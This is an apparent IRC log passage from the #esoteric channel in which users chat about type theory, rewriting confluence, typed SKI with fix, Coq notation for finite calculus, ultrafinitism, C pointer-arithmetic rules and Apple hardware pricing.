there's my stab at MI. < 1268160347 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :different unicode chars < 1268160379 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Not confluent! Waah! < 1268160385 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION thinks "mathematical" induction should be primitive, and the other sort should be called "idiotic wrong induction"
< 1268160412 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :wait, what /other/ induction does cpressey have? < 1268160416 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: What makes you think it's not confluent? Or are you complaining I haven't proved it such? < 1268160430 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it... looks sorta nonconfluent :P < 1268160461 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It pisses me off that I can't do (Foo (x:T). a) syntax myself < 1268160468 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :just (Foo T (\x. a)) < 1268160472 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well < 1268160475 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I guess < 1268160480 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Foo_._ would work if you have (x:T) < 1268160481 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :   | < 1268160481 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :   |\ < 1268160482 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :presumably \exists and \forall are sums and products in a suitable category... < 1268160485 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but (x:T) isn't anything coherent by itself < 1268160488 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oh wait < 1268160489 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I have no idea if "expand at least once on the LHS" and "expand to anything you want that's legal on the RHS" actually works, it only seems to, to me, right now. < 1268160493 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Foo_(_:_)._ < 1268160502 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: yes < 1268160503 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :duh < 1268160504 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I have to prove properties about my proof system :/ < 1268160513 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and then define Foo_._ ... but that's ambiguous I think < 1268160513 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                   | < 1268160514 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                  /< < 1268160524 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :myndzi: oh god not again < 1268160559 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Any mathematicians here know anything about Galois connections? < 1268160560 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Off by one too < 1268160562 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: so data ∃(_:_)._ : (a : Set) → (P : a → Prop) → Set where right? < 1268160568 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :not -> Prop < 1268160570 0 :hiato!~fdulu@dsl-245-63-253.telkomadsl.co.za JOIN :#esoteric < 1268160573 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :because you use exists to do the computable reals < 1268160576 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :oh no, off by one error \o/ < 1268160576 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                         | < 1268160576 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                        /`\ < 1268160606 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oh wait Foo(_:_)._ isn't acceptable because i need to bind the var and stuff < 1268160652 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :myndzi: plus ten for that < 1268160653 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :No wait, case 2 doesn't rely on case 1 < 1268160655 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :confused < 1268160662 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :galois connections rings a bell... < 1268160664 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :that can't be good < 1268160714 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: just come to the dark side. < 1268160733 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Uh, I need to prove boolexpr ~> boolean, that implies (not boolexpr) ~> boolean < 1268160758 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :obvious : ∀(P:Prop). Obvious P → P < 1268160770 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Give me a proof that a certain proof is obvious, and I'll give you the proof! < 1268160774 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Simple! < 1268160786 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Obvious "P" -> P < 1268160801 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: oh, good point < 1268160806 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :wait, no < 1268160809 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it'd be more like < 1268160817 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Obvious (x === x) < 1268160821 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well forall x that is < 1268160832 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hmm maybe you're right < 1268161023 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It's not confluent in the sense that if you just used these rules in a rewriting system, and rewrote the term "boolexpr", you would generate infinite boolean expressions < 1268161094 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But that is what "boolexpr" means (to me) (right now) (and this is loosely connected to Galois connections) and it certainly seems possible to ignore "runaway" cases when you give an explicit derivation. < 1268161165 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Maybe those rules should be backwards, though. < 1268161173 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :true -> boolean, false -> boolean < 1268161197 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :That means true and false are indistinguishable < 1268161213 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: I would use guillemets, though: < 1268161214 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :In a type system, they are. They're both booleans. I wanted a boolean result, great I have one. < 1268161215 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :obvious : ∀(P:Prop). Obvious «P» → P < 1268161264 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :The problem comes in that you don't want to rewrite them too early. Oh wait, I control that with the explciit derivation! < 1268161276 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i'm not sure infinitely growing expressions is a problem for confluence, provided that at any step you can start reducing back down instead < 1268161282 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*are < 1268161306 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: a -> b doesn't mean that when you choose to rewrite a it results in b < 1268161310 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it means that a is /just an alias/ for b < 1268161329 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: Not what it means to me < 1268161332 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: I've been thinking about the interaction axiom < 1268161338 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Not even sure what "just an alias" is supposed to mean in this context < 1268161399 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :axiom interact : Interaction pre final transform result → (ω:Worldish) → pre ω → (result → transform ω → Φ Worldish (λω₁ → final ω₁)) < 1268161404 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(where capital phi was my dependent tuple) < 1268161405 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :or < 1268161406 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :axiom interact : Interaction pre final transform result → (c:Conditions) → pre c → (result → transform c → Φ Conditions (λc₁ → final c₁)) → (ω:World) → (conditions ω ≡ c) → World < 1268161410 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :both are unacceptable for the same reason < 1268161418 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i.e., that the previous world/conditions don't become unacceptable < 1268161420 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :to use < 1268161424 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so I need to eliminate them, somehow < 1268161774 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1268161779 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :"a little-known feature of the C standard: it explicitly states that pointer arithmetic is defined only for pointers belonging to the same memory block (i.e. statically or dynamically allocated array or structure). So when you write (char*)malloc(1) - (char*)malloc(1) you get undefined behavior" < 1268161781 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: verify? < 1268161789 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :apparently that's how the memory-safe C compiler works < 1268161801 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: yes, that's correct < 1268161808 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ha < 1268161829 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in fact, even comparing with < can cause a crash in some compilers < 1268161875 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :anyway, someone posted something in another channel that made Konversation segfault, apparently < 1268161882 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure whether to shout at them or congratulate them < 1268161906 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION chuckles to himself (c2h?)
< 1268161955 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: hmm... this is making me want to write a pure c compiler < 1268162131 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's not such a little-known feature; it was mentioned on this very channel not many days ago. Though coincidentally only. < 1268162193 0 :alise!~d4b78c25@gateway/web/freenode/x-obpqymwsuluxbknc JOIN :#esoteric < 1268162202 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Why does -4^4 = -256 instead of 256? I'm only a high school student, but I know for a fact that -4^4 = 256 and not negative 256. < 1268162203 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Is the typed ski + fix turing-complete? < 1268162215 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://community.wolframalpha.com/viewtopic.php?f=32&t=6774 < 1268162220 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fax: precedence < 1268162225 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's being parsed as -(4^4) < 1268162316 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it was a quote < 1268162352 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268162431 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: it can do everything you need with church numerals can it not < 1268162444 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so all recursive functions < 1268162455 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: The point is that typed SK isn't turing-complete, presumably (because typed LC is not). < 1268162463 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm talking idiotically typed, here < 1268162467 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :as in arrow and Base < 1268162479 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric : The world’s best browser. Free download for Mac + PC. < 1268162484 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So is idiotically-typed SKF complete? < 1268162486 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :they don't have a Linux version, though < 1268162492 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Correct. < 1268162495 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And? < 1268162498 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the download page is specifically a Windows one, and they directed me to it < 1268162506 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1268162515 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I was messing about with browserchoice.eu < 1268162530 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :all their advertising doesn't say "os x and windows", but "mac and PC" < 1268162541 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: hm iirc everything that can be typed in ML can be typed in simply typed lambda calculus with fix, just by duplicating things used with more than one type < 1268162559 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :vague recall as usual < 1268162608 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anyone have that nice ~> symbol? < 1268162614 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://dpaste.com/170084/ <-- last cleanup for now. < 1268162640 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :⇝ < 1268162643 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :is not so nice in my font < 1268162648 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268162654 0 :alise_!~d4b78c25@gateway/web/freenode/x-wflgyeulqcnltwrq JOIN :#esoteric < 1268162657 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :no, it's just like --> < 1268162661 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but the -- is wavy < 1268162678 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :⇝ is the closest I can find < 1268162681 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :ais523: It is in the interest of both Apple and Microsoft to confuse people into thinking that the computer and OS are intrinsically bonded. < 1268162681 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I can barely see the squiggling at this font size, but it's there < 1268162683 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :"rightwards squiggle arrow2 < 1268162684 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*" < 1268162702 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: I suppose so < 1268162712 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :except then, why do Apple advertise Parallels? < 1268162716 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Maybe it's just a latex thing < 1268162718 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: More so Apple than Microsoft. < 1268162728 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :nah < 1268162732 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: I would say about equal. < 1268162737 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :apple even have parallels on their apple store computers < 1268162742 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Since Microsoft doesn't care *too* much so long as their OS is running on it. < 1268162746 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you think microsoft would advertise mac compatibility? < 1268162755 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :apple are a hardware company, microsoft not < 1268162764 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :ais523: They don't advertize Parallels as something to run Linux on, they advertize it as if Windows is just as magically bonded to it as to a PC. < 1268162764 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ok then, what about the => char? < 1268162767 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that is also acceptable < 1268162770 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Apple is first and foremost a hardware manufacturer, and sells their hardware based on OS features. < 1268162776 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: ah, maybe < 1268162812 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Although their reasons for wanting people to think there's a magical bond are different, they both have the same want, and probably about to the same degree. < 1268162812 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :As long as Apple are not a grammar company. < 1268162836 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :For Apple it's about getting money for something that has little to no benefit in and of itself, for Microsoft it's about squashing all competition. < 1268162880 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268162921 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :What Microsoft wants is to confuse people into thinking that "Microsoft" == "program". < 1268162975 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Dude, I downloaded this Microsoft, but I think it was spyware, it installed like eight other Microsofts on my Microsoft! < 1268162992 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes, exactly. < 1268163013 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :static discharge against a car *through thick gloves* < 1268163013 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wth < 1268163016 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: what has little to no benefit? < 1268163018 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyone can explain that? < 1268163045 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: woolen, or leather? < 1268163061 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise_: The hardware, without the software. It's pretty good as hardware goes, but it's not so good to be worth its rather high price :P < 1268163075 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, wool/acrylic mix I think < 1268163087 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: I actually investigated that a while ago. It turns out that actually it's pretty reasonably priced for the components and the boutiqueness of Apple. < 1268163089 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :possibly some cotton as well < 1268163099 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :The markup is something like 30% on the lower-end models, typical of boutique products. On the higher end models? Less. < 1268163100 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :"Boutiqueness" < 1268163105 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Yes :P < 1268163110 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :WTF is "boutiqueness" < 1268163117 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: well, there are probably air gaps inside the gloves; pushing against the car (say to pull a handle) would have compressed it to the extent that you could get a spark between your skin and the metal of the car through them < 1268163123 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :The image of it being a high quality product because of its social/fashion status. < 1268163127 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Cachet. < 1268163137 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise_: Uhh, isn't that exactly my point? < 1268163147 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Yes, but it's not a hugely unreasonable margin. But. < 1268163160 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :For instance the 27" iMac is pretty good value, actually. Just the 27" IPS display would cost about as much as the lowest-end model of it. It's a very expensive component. < 1268163162 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, actually by that point I had just laid my finger against it, hadn't yet had time to push the door closed < 1268163178 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so it must have been a huge charge < 1268163179 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :The higher-end model of it comes with a Core i7 - at that point the profit margins just keep diminishing. < 1268163183 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the issue is not that Macs are overly expensive for a high-end model, IIRC, but that they don't offer low-end models < 1268163186 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :still feels somewhat from it in my thumb < 1268163193 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It's something like $3k for the whole lot. Add in the huge cost of the the-whole-fucking-thing-is-one-gigantic-bit-of-aluminium... < 1268163208 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :And the top-of-the-range 27" iMac is probably the cheapest way to get all those components. < 1268163210 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I don't think we fully understand static electricity < 1268163211 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: pretty much < 1268163217 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and its low range has a higher-than-average profit margin < 1268163241 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, oh? < 1268163242 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I have seen it be very bad in humid environments and very mild in dry environments in the winter < 1268163252 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Which is not how I was told it was supposed to work < 1268163261 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I usually see the reverse of that < 1268163268 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :a *lot* when try < 1268163269 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dry* < 1268163275 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and not very much when humid < 1268163285 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I don't doubt it, but maybe there is some other correlate < 1268163306 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, perhaps something specific to that environment? Or was the observation made in different places? < 1268163309 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: static electricity discharges through the air faster when it's humid, but that isn't to say you can't charge it up < 1268163337 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the way static electricity discharges from humans work is, you normally build it up over time walking on carpets, etc, and when you touch metal it discharges through that < 1268163343 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and if it had charged up far enough, you can feel it < 1268163350 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Different geographical locations, yes, I would guess it might vary on something else that was different between them < 1268163369 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: what about ↝ < 1268163406 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ais my cats ears < 1268163440 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Ohhey, looks like we traded out Miss Piggy. < 1268163468 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It's now a fax. < 1268163617 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yup < 1268163637 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Gregorification. < 1268163652 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :GreGLORIFICATION < 1268163656 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268163677 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :GregLOLification < 1268163697 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :How Gregarious it is to Greglorify. < 1268163721 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :dulce et gregorum < 1268163773 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Definition DiscreteDerivative (f : Z -> Z) (x : Z) := f (x + 1) - f x. < 1268163814 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Notation "∆" := DiscreteDerivative. < 1268163819 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise paying attention?? < 1268163905 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :huh what now i am < 1268163916 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: what about it < 1268164161 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/861902.txt?key=71fbadzjph5ovvw9xvbkxa this is pretty but not valid < 1268164182 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :because `⟪∗⟫ = ∀a. SKF a` means that ⟦_⟧ is too fancy for its own type :( < 1268164184 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :re. your earlier question: YES < 1268164202 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I've forgotten the earlier question. I ask so many... < 1268164231 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :SKI is equivalent to STLC, but STLC + fix is recursive < 1268164253 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :by SKI I assume you mean STSKI there < 1268164256 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268164296 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so cool < 1268164306 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :if my interpreter wasn't broken i'd have done sum tc'ing < 1268164310 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :mind it is particularly pretty broken code < 1268164525 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: so why did you define discrete derivative there? < 1268164543 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :making sure coq is ready for the new age of ultrafinitism? :D < 1268164880 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to devise a logic in which !!x = !x
< 1268164901 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'm implementing the finite calculus! < 1268164976 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: cool < 1268164977 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :how does Notation work btw? < 1268165022 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :|||||||||||||\\\\\\\\ < 1268165091 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :finitists can't have limits either? How do you do calculus at all? < 1268165107 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :just numerically, with some estimate of the error? < 1268165125 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lament, finite calculus is about finite sums :D < 1268165129 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :lament: i'm talking ultrafinitists here < 1268165132 0 :Azstal!~asztal@host86-156-98-112.range86-156.btcentralplus.com JOIN :#esoteric < 1268165140 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :like Sum[i=1..n] i^2 < 1268165146 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :if IE wasn't being a bitch I'd link you < 1268165163 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :what specifically's the problem with IE? < 1268165174 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :thanks, i don't really wanna know < 1268165177 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :lament: http://www.math.rutgers.edu/~zeilberg/mamarim/mamarimPDF/real.pdf < 1268165181 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :lament: oh you do, it's hilarious < 1268165189 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :no i really don't trust me < 1268165195 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :YES YOU DO :| < 1268165202 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: all keyboard shortcuts and commands are being ignored < 1268165211 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :err, wow < 1268165217 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :lament: basically there's some defined mesh size of the reals < 1268165218 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm pretty sure that isn't intentional behaviour < 1268165223 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and you treat it as an infinitesimal < 1268165235 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(actual, real mesh size, as a "universal constant") < 1268165259 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :let's say it's 1 < 1268165278 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :since it's gotta be scale-invariant anyway < 1268165291 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :nice. Reals = Integers. < 1268165296 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :lament: in real.pdf he does it paramaterisabled < 1268165299 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ified < 1268165301 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1268165305 0 :Azstal!unknown@unknown.invalid NICK :Asztal < 1268165307 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: and the integers are finite < 1268165311 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :or more precisely the integers don't exist < 1268165312 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :probably easier to prove it's scale-invariant and then set it to 1 < 1268165320 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: vacuous : ∀a, (P : ⊥ → ⋆), (x:⊥). P x! < 1268165335 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"exist" is more precise than "finite" now is it < 1268165345 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :⋆? < 1268165346 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: :D < 1268165354 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: supertype of set and prop < 1268165383 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :but what's the ultrafinitist perspective on nullity?? < 1268165395 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :lament: it's totally yeah man < 1268165425 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :needs more skolemization < 1268165431 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: is that pdf meant to be serious? < 1268165437 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: yes < 1268165441 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :zeilberg is a fucking nutcase :) < 1268165442 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I can't tell whether it's a parody, or just deluded people < 1268165456 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :btw this guy is a professor < 1268165476 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :vacuous {_} {_} {x} = explosion x < 1268165479 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hooray for ex falso quodlibet < 1268165503 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"truer" < 1268165507 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :the best thing is though you can say that < 1268165510 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I totally agree. < 1268165517 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :∀(x:⊥). x ≠ x < 